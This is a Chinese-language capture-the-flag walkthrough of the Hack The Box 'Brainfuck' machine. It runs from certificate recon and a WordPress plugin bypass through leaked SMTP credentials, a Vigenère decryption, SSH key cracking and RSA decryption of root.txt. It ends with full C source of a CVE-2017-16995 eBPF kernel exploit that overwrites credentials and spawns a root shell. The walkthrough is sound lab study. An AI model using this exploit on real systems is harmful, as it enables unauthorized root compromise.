HTB-Brainfuck

news2024/11/23 12:58:52

HTB-Brainfuck

  • 信息收集
  • 443端口
    • https://sup3rs3cr3t.brainfuck.htb/
    • https://brainfuck.htb/和www.brainfuck.htb
  • 立足
  • 读取root.txt内容
  • oresits -> root

请添加图片描述

信息收集

在这里插入图片描述

在这里插入图片描述

443端口

在这里插入图片描述
查看对应证书。
在这里插入图片描述
从证书中能获得

  • Email Address: orestis@brainfuck.htb
  • Common Name:brainfuck.htb
  • DNS name: sup3rs3cr3t.brainfuck.htb
  • DNS name:www.brainfuck.htb
    除了Email Address以外都添加至/etc/hosts,分别访问它们并收集信息。

https://sup3rs3cr3t.brainfuck.htb/

在这里插入图片描述
在这里插入图片描述
网站拥有两个业务,登录和注册。在登陆的时候输入错误的账号密码会出现一个DEBUG。
在这里插入图片描述
在这里插入图片描述
注册账号时候密码小于8位也会出现此DEBUG提示。注册账号后登录可以看到能够修改头像。但是头像格式有如下限制: jpeg, png, bmp, gif。
在这里插入图片描述
尝试了几个上传绕过均无果后,先放在这备用。基本上此网站内容就已经探索完毕了。

https://brainfuck.htb/和www.brainfuck.htb

在这里插入图片描述

在这里插入图片描述
此网站业务大致有这么几个:登录、两个RSS、categories、能在dev update下留评论。一个一个看吧。
在这里插入图片描述
额,还在等待审核。
在这里插入图片描述

只有wp的登陆业务。

可以通过登陆来判断那些用户存在。
在这里插入图片描述
OK,这个网站也大致探索完毕了,该准备打副本了,在此之前需要细致查看对方信息。使用wpscan对其插件、用户等进行扫描。如果没有api,科学上网注册一个用户。

在这里插入图片描述
然后在个人的profile能看到免费的api。
在这里插入图片描述
在这里插入图片描述
疑似存在漏洞的地方有点多,慢慢试。

在这里插入图片描述

sql注入似乎不存在。

在这里插入图片描述

在这里插入图片描述

https://packetstormsecurity.com/files/140413/

在这里插入图片描述
根据目录扫描结果修改action的地址。
在这里插入图片描述
发送后页面有一个0。

在这里插入图片描述
然后切换到https://brainfuck.htb/界面就能看到以admin身份登录了。

在这里插入图片描述
想去theme反弹shell,结果遇到没有修改文件的权限。
在这里插入图片描述

接着去看plugin能不能反弹,但是连添加plugin的网页都没了。有可能是环境故意设计,也可能是其他玩家失误导致。再看看有没有其他路径,没有就只能重置了。
在这里插入图片描述
在插件页有一个Easy WP SMTP插件,点开setting会看到有STMP Password。

在这里插入图片描述
获得了orestis和SMTP的授权码kHGuERB29DNiNE。在网上随便收了一下linux的邮件管理软件。随意选了一个thunderbird。
在这里插入图片描述
点击电子邮箱,输入如下信息。
在这里插入图片描述
确定后输入kHGuERB29DNiNE。
在这里插入图片描述
然后就能看到邮件了。
在这里插入图片描述
第二封邮件告诉我们了一些东西。
在这里插入图片描述
使用所给的凭证orestis:kIEnnfEKJ#9UmdO登录 Super Secret Forum。

在这里插入图片描述
额,管理员禁止了keys登录,orestis被锁在外面了。然后就是他和管理员的甜言蜜语。
在这里插入图片描述
最后orestis说开了一个加密的进程,他和管理员会在加密进程中给他ssh证书。
在这里插入图片描述
下一步不出意外就是想办法破解这个加密。观察到如下几个特征:

  • 许多句子个数都是36。
    在这里插入图片描述
  • 还有很多句号,可能是用来填充个数。

但是我实在想不起来什么密码具有此类特征,对我而言确实是brainfuck了。
在这里插入图片描述
话说这是什么:Orestis - Hacking for fun and profit。有没有一种可能orestis每次都会回答问题后留下的第二行就是加密后的Orestis - Hacking for fun and profit,可能Orestis - Hacking for fun and profit就是某个加密的key。瞎弄的时候发现了一个有趣的东西,这密码可能是维吉尼亚密码。
在这里插入图片描述

在这里插入图片描述
啊,头好痒要长脑子了。先说说我的想法,既然Orestis - Hacking for fun and profit不是其他文本的解密key,而通过Orestis - Hacking for fun and profit解密出来的brainfuckmybrainfuckmybrainfu可能有某一个顺序是key。

先通过python列出可能的key。

key = "brainfuckmybrainfuckmybrainfu"
flag1 = 0
for i in range(len(key)):
	tmp = key[i:] + key[:i]
	if tmp == key:
		flag1 += 1
	print(tmp)
	if flag1 == 2:
		break

在这里插入图片描述

以CTF在线工具为例子http://www.hiencode.com/,找到里面的维吉尼亚密码抓包
在这里插入图片描述
将key弄进去。
在这里插入图片描述
接着在options里找到grep。
在这里插入图片描述

在这里插入图片描述
然后就run在key:fuckmybrainfuckmybrainfubrain的时候会看到人类可阅读的文本,但是只有一部分。
在这里插入图片描述
继续寻找发现后半部分key,严格意义上是后面部分的key,后面五个是对的对应ckmyb。
在这里插入图片描述
也就是说真正的key是FUCKMYBRAINFUCKMYBRAINFUCKMYB
在这里插入图片描述
但是到了最长的一句就又出现问题了。
在这里插入图片描述
这说明原本的密钥FUCKMYBRAINFUCKMYBRAINFUCKMYB后面还有。修改burp suite的intruder的请求后,继续寻找。
在这里插入图片描述
好的找到了是fuckmybrainfuckmybrainfuckmybrainfuckmybrainfuckmybrainfub,但是后面又乱了,说明还有,继续找。

在这里插入图片描述
查找发现在57-1=56列开始出问题。在这里插入图片描述
而我们的fuckmybrainfuckmybrainfuckmybrainfuckmybrainfuckmybrainfub有58列,所以payload改为fuckmybrainfuckmybrainfuckmybrainfuckmybrainfuckmybrainf

在这里插入图片描述
key=fuckmybrainfuckmybrainfuckmybrainfuckmybrainfuckmybrainfuckmybrainfuckmybrainfubrainf时是我们能阅读的,但是似乎不全,少了东西,但是你仔细看There you go you stupid fuck, I hope you remember your key password because I dont就知道没问题了。
在这里插入图片描述
好了去看看我们的大boss:mnvze://zsrivszwm.rfz/8cr5ai10r915218697i1w658enqc0cs8/ozrxnkc/ub_sja有多长。
在这里插入图片描述
我们的神话装备:fuckmybrainfuckmybrainfuckmybrainfuckmybrainfuckmybrainfuckmybrainfuckmybrainfubrainf有多长。
在这里插入图片描述
战斗力远远超过boss,轻松拿下。
在这里插入图片描述
得到超链接:https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa希望不要出幺蛾子。访问后得到orestis的id_rsa。
在这里插入图片描述

使用orestis:kIEnnfEKJ#9UmdO不行。
在这里插入图片描述
彳亍,用ssh2john处理id_rsa后使用john尝试破解。
在这里插入图片描述
在这里插入图片描述

立足

通过破解的密码3poulakia!登录orestis。
在这里插入图片描述

读取root.txt内容

在这里插入图片描述
在这里插入图片描述
尝试后暂时没有收获,继续收集信息。因为有另外一位玩家在和我同时游玩,可能看起来很混乱。
在这里插入图片描述
可能这个output是其他玩家留下的,也可能是环境就有的了,内容是一串数字。现在的事情就是找找这个东西是哪里来的。目录下还有一个debug.txt可能也和那个有关。
在这里插入图片描述
目录下还有一个.sage。
在这里插入图片描述

有如下文件:

  • ./cache/_usr_lib_sagemath_src-lazy_import_cache.pickle
  • ./ipython-5.0.0/profile_default/history.sqlite
  • ./ipython-5.0.0/profile_default/startup/README
  • ./R/Makevars.user

./cache/_usr_lib_sagemath_src-lazy_import_cache.pickle是python的pickle模块对小数据存储的一种方法,把小数据量存储在pickle文件中。

./ipython-5.0.0/profile_default/history.sqlite文件里面装着很有趣的东西,一堆python代码。
在这里插入图片描述
一个是password = open("/root/root.txt").read().strip()

nbits = 1024

password = open("/root/root.txt").read().strip() #读取root.txt的字节并将空格去掉。
enc_pass = open("output.txt","w")				 #打开一个output.txt文件,可以写入。
debug = open("debug.txt","w")					 #打开一个debug.txt文件,可以写入。
m = Integer(int(password.encode('hex'),16))		 #将root.txt的内容转化为十六进制
												 #又将转化后的的十六进制转整数并给m

#然后就是RSA算法。
p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
while gcd(e, phi) != 1:
    e = ZZ.random_element(phi)



c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')
#他把RSA的精华P Q E都写在debug里面了,帮大忙了。
debug.write(str(p)+'\n')
debug.write(str(q)+'\n')
debug.write(str(e)+'\n')

根据代码所示获得RSA中的四个参数:

  • p:7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
  • q:7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
  • e:30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
  • c:44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182
import gmpy2

p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
c = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182

L = (p-1)*(q-1)
d = gmpy2.invert(e,L)
n = p*q
m = gmpy2.powmod(c,d,n)
flag = str(m)
tmp =hex(int(flag))
tmp = tmp[2:]
flag = bytes.fromhex(tmp)
print(flag.decode('utf-8'))

在这里插入图片描述

当然希望能够获得root的权限。

oresits -> root

因为此靶场年代悠久,可能存在很多内核漏洞可以提权。通过CVE-2017-16995.可以实现本地提权。
在这里插入图片描述
在这里插入图片描述

附上代码及其github链接:

#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <sys/personality.h>

char buffer[64];
int sockets[2];
int mapfd, progfd;
int doredact = 0;

#define LOG_BUF_SIZE 65536
#define PHYS_OFFSET 0xffff880000000000
char bpf_log_buf[LOG_BUF_SIZE];

static __u64 ptr_to_u64(void *ptr)
{
	return (__u64) (unsigned long) ptr;
}

int bpf_prog_load(enum bpf_prog_type prog_type,
		  const struct bpf_insn *insns, int prog_len,
		  const char *license, int kern_version)
{
	union bpf_attr attr = {
		.prog_type = prog_type,
		.insns = ptr_to_u64((void *) insns),
		.insn_cnt = prog_len / sizeof(struct bpf_insn),
		.license = ptr_to_u64((void *) license),
		.log_buf = ptr_to_u64(bpf_log_buf),
		.log_size = LOG_BUF_SIZE,
		.log_level = 1,
	};

	attr.kern_version = kern_version;

	bpf_log_buf[0] = 0;

	return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}

int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
		   int max_entries, int map_flags)
{
	union bpf_attr attr = {
		.map_type = map_type,
		.key_size = key_size,
		.value_size = value_size,
		.max_entries = max_entries
	};

	return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}

int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags)
{
	union bpf_attr attr = {
		.map_fd = fd,
		.key = ptr_to_u64(key),
		.value = ptr_to_u64(value),
		.flags = flags,
	};

	return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}

int bpf_lookup_elem(int fd, void *key, void *value)
{
	union bpf_attr attr = {
		.map_fd = fd,
		.key = ptr_to_u64(key),
		.value = ptr_to_u64(value),
	};

	return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}

#define BPF_ALU64_IMM(OP, DST, IMM)				\
	((struct bpf_insn) {					\
		.code  = BPF_ALU64 | BPF_OP(OP) | BPF_K,	\
		.dst_reg = DST,					\
		.src_reg = 0,					\
		.off   = 0,					\
		.imm   = IMM })

#define BPF_MOV64_REG(DST, SRC)					\
	((struct bpf_insn) {					\
		.code  = BPF_ALU64 | BPF_MOV | BPF_X,		\
		.dst_reg = DST,					\
		.src_reg = SRC,					\
		.off   = 0,					\
		.imm   = 0 })

#define BPF_MOV32_REG(DST, SRC)					\
	((struct bpf_insn) {					\
		.code  = BPF_ALU | BPF_MOV | BPF_X,		\
		.dst_reg = DST,					\
		.src_reg = SRC,					\
		.off   = 0,					\
		.imm   = 0 })

#define BPF_MOV64_IMM(DST, IMM)					\
	((struct bpf_insn) {					\
		.code  = BPF_ALU64 | BPF_MOV | BPF_K,		\
		.dst_reg = DST,					\
		.src_reg = 0,					\
		.off   = 0,					\
		.imm   = IMM })

#define BPF_MOV32_IMM(DST, IMM)					\
	((struct bpf_insn) {					\
		.code  = BPF_ALU | BPF_MOV | BPF_K,		\
		.dst_reg = DST,					\
		.src_reg = 0,					\
		.off   = 0,					\
		.imm   = IMM })

#define BPF_LD_IMM64(DST, IMM)					\
	BPF_LD_IMM64_RAW(DST, 0, IMM)

#define BPF_LD_IMM64_RAW(DST, SRC, IMM)				\
	((struct bpf_insn) {					\
		.code  = BPF_LD | BPF_DW | BPF_IMM,		\
		.dst_reg = DST,					\
		.src_reg = SRC,					\
		.off   = 0,					\
		.imm   = (__u32) (IMM) }),			\
	((struct bpf_insn) {					\
		.code  = 0, 					\
		.dst_reg = 0,					\
		.src_reg = 0,					\
		.off   = 0,					\
		.imm   = ((__u64) (IMM)) >> 32 })

#ifndef BPF_PSEUDO_MAP_FD
# define BPF_PSEUDO_MAP_FD	1
#endif

#define BPF_LD_MAP_FD(DST, MAP_FD)				\
	BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)

#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)			\
	((struct bpf_insn) {					\
		.code  = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,	\
		.dst_reg = DST,					\
		.src_reg = SRC,					\
		.off   = OFF,					\
		.imm   = 0 })

#define BPF_STX_MEM(SIZE, DST, SRC, OFF)			\
	((struct bpf_insn) {					\
		.code  = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,	\
		.dst_reg = DST,					\
		.src_reg = SRC,					\
		.off   = OFF,					\
		.imm   = 0 })

#define BPF_ST_MEM(SIZE, DST, OFF, IMM)				\
	((struct bpf_insn) {					\
		.code  = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM,	\
		.dst_reg = DST,					\
		.src_reg = 0,					\
		.off   = OFF,					\
		.imm   = IMM })

#define BPF_JMP_IMM(OP, DST, IMM, OFF)				\
	((struct bpf_insn) {					\
		.code  = BPF_JMP | BPF_OP(OP) | BPF_K,		\
		.dst_reg = DST,					\
		.src_reg = 0,					\
		.off   = OFF,					\
		.imm   = IMM })

#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM)			\
	((struct bpf_insn) {					\
		.code  = CODE,					\
		.dst_reg = DST,					\
		.src_reg = SRC,					\
		.off   = OFF,					\
		.imm   = IMM })

#define BPF_EXIT_INSN()						\
	((struct bpf_insn) {					\
		.code  = BPF_JMP | BPF_EXIT,			\
		.dst_reg = 0,					\
		.src_reg = 0,					\
		.off   = 0,					\
		.imm   = 0 })

#define BPF_DISABLE_VERIFIER()                                                       \
	BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF),             /* r2 = (u32)0xFFFFFFFF   */   \
	BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2),   /* if (r2 == -1) {        */   \
	BPF_MOV64_IMM(BPF_REG_0, 0),                      /*   exit(0);             */   \
	BPF_EXIT_INSN()                                   /* }                      */   \

#define BPF_MAP_GET(idx, dst)                                                        \
	BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),              /* r1 = r9                */   \
	BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),             /* r2 = fp                */   \
	BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),            /* r2 = fp - 4            */   \
	BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx),           /* *(u32 *)(fp - 4) = idx */   \
	BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),             \
	BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),            /* if (r0 == 0)           */   \
	BPF_EXIT_INSN(),                                  /*   exit(0);             */   \
	BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0)          /* r_dst = *(u64 *)(r0)   */              

static int load_prog() {
	struct bpf_insn prog[] = {
		BPF_DISABLE_VERIFIER(),

		BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16),   /* *(fp - 16) = r1       */

		BPF_LD_MAP_FD(BPF_REG_9, mapfd),

		BPF_MAP_GET(0, BPF_REG_6),                         /* r6 = op               */
		BPF_MAP_GET(1, BPF_REG_7),                         /* r7 = address          */
		BPF_MAP_GET(2, BPF_REG_8),                         /* r8 = value            */

		/* store map slot address in r2 */
		BPF_MOV64_REG(BPF_REG_2, BPF_REG_0),               /* r2 = r0               */
		BPF_MOV64_IMM(BPF_REG_0, 0),                       /* r0 = 0  for exit(0)   */

		BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2),             /* if (op == 0)          */
		/* get fp */
		BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
		BPF_EXIT_INSN(),

		BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3),             /* else if (op == 1)     */
		/* get skbuff */
		BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16),
		BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
		BPF_EXIT_INSN(),

		BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3),             /* else if (op == 2)     */
		/* read */
		BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
		BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
		BPF_EXIT_INSN(),
		/* else                  */
		/* write */
		BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), 
		BPF_EXIT_INSN(),

	};
	return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0);
}

void info(const char *fmt, ...) {
	va_list args;
	va_start(args, fmt);
	fprintf(stdout, "[.] ");
	vfprintf(stdout, fmt, args);
	va_end(args);
}

void msg(const char *fmt, ...) {
	va_list args;
	va_start(args, fmt);
	fprintf(stdout, "[*] ");
	vfprintf(stdout, fmt, args);
	va_end(args);
}

void redact(const char *fmt, ...) {
	va_list args;
	va_start(args, fmt);
	if(doredact) {
		fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n");
		return;
	}
	fprintf(stdout, "[*] ");
	vfprintf(stdout, fmt, args);
	va_end(args);
}

void fail(const char *fmt, ...) {
	va_list args;
	va_start(args, fmt);
	fprintf(stdout, "[!] ");
	vfprintf(stdout, fmt, args);
	va_end(args);
	exit(1);
}

void 
initialize() {
	info("\n");
	info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n");
	info("\n");
	info("  ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n");
	info("\n");

	redact("creating bpf map\n");
	mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0);
	if (mapfd < 0) {
		fail("failed to create bpf map: '%s'\n", strerror(errno));
	}

	redact("sneaking evil bpf past the verifier\n");
	progfd = load_prog();
	if (progfd < 0) {
		if (errno == EACCES) {
			msg("log:\n%s", bpf_log_buf);
		}
		fail("failed to load prog '%s'\n", strerror(errno));
	}

	redact("creating socketpair()\n");
	if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {
		fail("failed to create socket pair '%s'\n", strerror(errno));
	}

	redact("attaching bpf backdoor to socket\n");
	if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) {
		fail("setsockopt '%s'\n", strerror(errno));
	}
}

static void writemsg() {
	ssize_t n = write(sockets[0], buffer, sizeof(buffer));
	if (n < 0) {
		perror("write");
		return;
	}
	if (n != sizeof(buffer)) {
		fprintf(stderr, "short write: %zd\n", n);
	}
}

static void 
update_elem(int key, unsigned long value) {
	if (bpf_update_elem(mapfd, &key, &value, 0)) {
		fail("bpf_update_elem failed '%s'\n", strerror(errno));
	}
}

static unsigned long 
get_value(int key) {
	unsigned long value;
	if (bpf_lookup_elem(mapfd, &key, &value)) {
		fail("bpf_lookup_elem failed '%s'\n", strerror(errno));
	}
	return value;
}

static unsigned long
sendcmd(unsigned long op, unsigned long addr, unsigned long value) {
	update_elem(0, op);
	update_elem(1, addr);
	update_elem(2, value);
	writemsg();
	return get_value(2);
}

unsigned long
get_skbuff() {
	return sendcmd(1, 0, 0);
}

unsigned long
get_fp() {
	return sendcmd(0, 0, 0);
}

unsigned long
read64(unsigned long addr) {
	return sendcmd(2, addr, 0);
}

void
write64(unsigned long addr, unsigned long val) {
	(void)sendcmd(3, addr, val);
}

static unsigned long find_cred() {
	uid_t uid = getuid();
	unsigned long skbuff = get_skbuff();
	/*
	 * struct sk_buff {
	 *     [...24 byte offset...]
	 *     struct sock     *sk;
	 * };
	 *
	 */

	unsigned long sock_addr = read64(skbuff + 24);
	msg("skbuff => %llx\n", skbuff);
	msg("Leaking sock struct from %llx\n", sock_addr);	
	if(sock_addr < PHYS_OFFSET){
		fail("Failed to find Sock address from sk_buff.\n");
	}	
		
	/*
	 * scan forward for expected sk_rcvtimeo value.
	 *
	 * struct sock {
	 *    [...]
	 *    const struct cred      *sk_peer_cred; 
	 *    long                    sk_rcvtimeo;             
	 *  };
	 */
	for (int i = 0; i < 100; i++, sock_addr += 8) {
		if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) {
			unsigned long cred_struct = read64(sock_addr - 8);
			if(cred_struct < PHYS_OFFSET) {
				continue;
			}
			
			unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF);
			
			if(test_uid != uid) {
				continue;
			}
                        msg("Sock->sk_rcvtimeo at offset %d\n", i * 8);
                        msg("Cred structure at %llx\n", cred_struct);
			msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid);
			
			return cred_struct;
		}
	}
	fail("failed to find sk_rcvtimeo.\n");
}

static void
hammer_cred(unsigned long addr) {
	msg("hammering cred structure at %llx\n", addr);
#define w64(w) { write64(addr, (w)); addr += 8; }
	unsigned long val = read64(addr) & 0xFFFFFFFFUL;
	w64(val); 
	w64(0); w64(0); w64(0); w64(0);
	w64(0xFFFFFFFFFFFFFFFF); 
	w64(0xFFFFFFFFFFFFFFFF); 
	w64(0xFFFFFFFFFFFFFFFF); 
#undef w64
}

int
main(int argc, char **argv) {
	initialize();
	hammer_cred(find_cred());
	msg("credentials patched, launching shell...\n");
	if(execl("/bin/sh", "/bin/sh", NULL)) {
		fail("exec %s\n", strerror(errno));
	}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/489152.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

解决echarts 在缩放中模糊的问题

echarts 在缩放中模糊的问题 参考&#xff1a;缩放带来的echarts模糊 1、echarts.init(dom,null,{ renderer : svg }); 2、echarts.init(chart,null, { devicePixelRatio: 2 });问题&#xff1a;在使用dom-to-image插件截图的情况下&#xff1a; 1、使用方式一 { renderer : …

Jetson Nano emmc版本系统镜像备份和烧录

一、镜像备份 1&#xff0e;将待复制的jetson设备进入恢复模式&#xff0c;用数据线连接jetson设备和主机。 对于原厂开发板将FC_REC引脚与GND短接&#xff0c;通过micro-usb到usb数据线连接到电脑。 在电脑的ubuntu通过lsusb命令查看需要备份的设备是否已经接入&#xff0c…

vue3.x + vite4.3构建属于自己的组件库并发布npm包

在国内的项目研发过程中&#xff0c;使用vue框架的项目占比很大&#xff0c;同样延伸出了很多非常优秀的UI组件库&#xff0c;比如element-plus、ant-design等&#xff1b;优势&#xff1a;资源较少&#xff0c;快速开发&#xff0c;丰富的API&#xff0c;阅读性、性能优化更好…

医疗实验室信息管理系统源码(云LIS)

云LIS系统源码是一种医疗实验室信息管理系统&#xff0c;提供全面的实验室信息管理解决方案。它的主要功能包括样本管理、检测流程管理、报告管理、质量控制、数据分析和仪器管理等。 云LIS源码技术说明&#xff1a; 技术架构&#xff1a;Asp.NET CORE 3.1 MVC SQLserver Re…

Spring:使用注解进行Spring开发(@Component、@Configuration、@ComponentScan、@Autowired等)

Component、Configuration、ComponentScan、Autowired、Scope、Value、Resource、Bean、Qualifier、PropertySource等注解 1. 注解和配置文件applicationContext.xml配合使用 现在有一个接口类Book3Dao、和其实现类Book3DaoImpl&#xff0c;利用注解和配置文件在测试类上调用其…

【Linux网络】网络应用层的 http 和 https协议

文章目录 1、http协议1.1 认识URL1.2 http协议格式1.3 http的方法&#xff08;GET和POST&#xff09;1.4 状态码1.5 cookie1.6 短连接和长连接 2、https协议2.1 常见的加密方式2.2 探究https协议的加密2.3 CA证书 1、http协议 在之前学习序列化和反序列化的时候&#xff0c;认…

Linux 之 vi 文本编辑器(二)

1、文本编辑器简介 Linux 中最常用的文本编辑器&#xff1a; vi&#xff1a;类 Unix 系统中默认的文本编辑器 vim&#xff1a;vi 编辑器的增强版本&#xff0c;习惯上也称 vi vi 文本编辑器的作用和特性&#xff1a; vi 可以执行插入、删除、查找、替换等众多文本操作&…

网络计算模式复习(四)

MapReduce MapReduce分布式处理技术、分布式的文件系统GFS、结构化的BigTable存储系统是Google的三个核心技术。 Map-Reduce&#xff1a;用于大规模数据集的并行计算。 &#xff08;分而治之&#xff09;将要执行的问题拆解成Map&#xff08;映射&#xff09;和Reduce&#x…

SpringBoot整合FreeMarker

一、FreeMarker简述 在线文档&#xff1a;http://freemarker.foofun.cn/ FreeMarker 也是一款模板引擎技术&#xff0c;它是一种基于模板和要改变的数据&#xff0c;并用来生成输出文本(HTML网页&#xff0c;电子邮件&#xff0c;配置文件&#xff0c;源代码等)的通用工具。当然…

创建一个react项目

文章目录 1&#xff1a;命令行输入2&#xff1a;在vs的终端中输入npm start 来启动项目3&#xff1a;删除src目录中的干扰项4&#xff1a;去掉index.js中的严格模式节点JSX介绍JSX中使用js表达式原生js调用三元运算符列表渲染条件渲染三元表达式逻辑&&运算 分支逻辑类名…

Setting up SSH Host ...问题解决

一、问题可能原因&#xff1a; 网速问题导致下载过慢&#xff0c;超时 二、解决方式&#xff1a;手动下载安装 1、确定VSCode commit id&#xff0c;如下图所示 2、拼接请求&#xff0c;下载vscode server包 Arm&#xff1a;https://update.code.visualstudio.com/commit:换…

【AUTOSAR】【通信安全】CRC

目录 一、概述 二、功能说明 2.1 通用行为 2.2 8位CRC计算 2.2.1 8位SAE J1850 CRC计算 2.2.2 8位0x2F多项式CRC计算 2.3 16位CRC计算 2.3.1 16位CCITT-FALSE CRC16 2.3.2 16位0x8005多项式CRC计算 2.4 32位CRC计算 2.4.1 32位以太网CRC计算 2.4.2 32位0xF4ACFB13多…

AIGC产业研究报告 2023——图像生成篇

易观&#xff1a;今年以来&#xff0c;随着人工智能技术不断实现突破迭代&#xff0c;生成式AI的话题多次成为热门&#xff0c;而人工智能内容生成&#xff08;AIGC&#xff09;的产业发展、市场反应与相应监管要求也受到了广泛关注。为了更好地探寻其在各行业落地应用的可行性…

jvm之常用命令行工具

写在前面 本文已起看下给我们的Java程序看病常用到的工具都有哪些&#xff0c;通过工具得到指标&#xff0c;通过指标分析病情&#xff0c;从而给出对应的治疗方案。 1&#xff1a;jps/jinfo 用来获取运行的jvm进程信息&#xff0c;一般我们使用该命令来获取进程号&#xff…

CTF权威指南 笔记 -第二章二进制文件- 2.4 -动态链接

目录 静态文件的缺点 动态链接 位置无关代码 延迟绑定 _dl_runtime_reslove 函数定义 深入审视 静态文件的缺点 随着可执行文件的增加 静态链接带来的浪费空间问题就会愈发严重 如果大部分可执行文件都需要glibc 那么在链接的时候就需要把 libc.a链接进去 如果一个libc…

Spark大数据处理讲课笔记3.6 RDD容错机制

文章目录 零、本讲学习目标一、RDD容错机制&#xff08;一&#xff09;血统方式&#xff08;二&#xff09;设置检查点方式 二、RDD检查点&#xff08;一&#xff09;RDD检查点机制&#xff08;二&#xff09;与RDD持久化的区别&#xff08;三&#xff09;RDD检查点案例演示 三…

Matlab 多项式拟合

一、线性 1、多项式 corrcoef函数 corrcoef函数用来计算矩阵相关系数。 (1)、corrcoef(x)&#xff1a;若x为一个矩阵&#xff0c;返回的则是一个相关系数矩阵。 (2)、corrcoef(x,y)&#xff1a;计算列向量x、y的相关系数&#xff0c;要求x、y具有相等的元素个数。如果x、y是矩…

2023河南土著双非硕士——毕业季秋招春招就业经验分享(仅限于在河南找工作,毕业想留河南)

作为一名河南土生土长的人&#xff0c;本硕皆就读于河南某双非一本&#xff0c;是一个实打实的河南土著&#xff0c;河南作为互联网就业的贫困环境&#xff0c;相较于CSDN博客上那么多动不动就腾讯、阿里、字节等大厂的就业经验分享&#xff0c;我更想分享一下我在河南省内找工…

百度文心一言正式亮相,数说故事受邀成为首批内测企业

3月16日下午&#xff0c;百度在北京召开新闻发布会&#xff0c;正式推出基于百度新一代大语言模型的生成式AI产品——文心一言&#xff0c;百度创始人、董事长兼首席执行官李彦宏现场展示了文心一言在文学创作、商业文案创作、数理推算、中文理解、多模态生成五个使用场景中的综…

卖期权的时候,我们在卖什么?

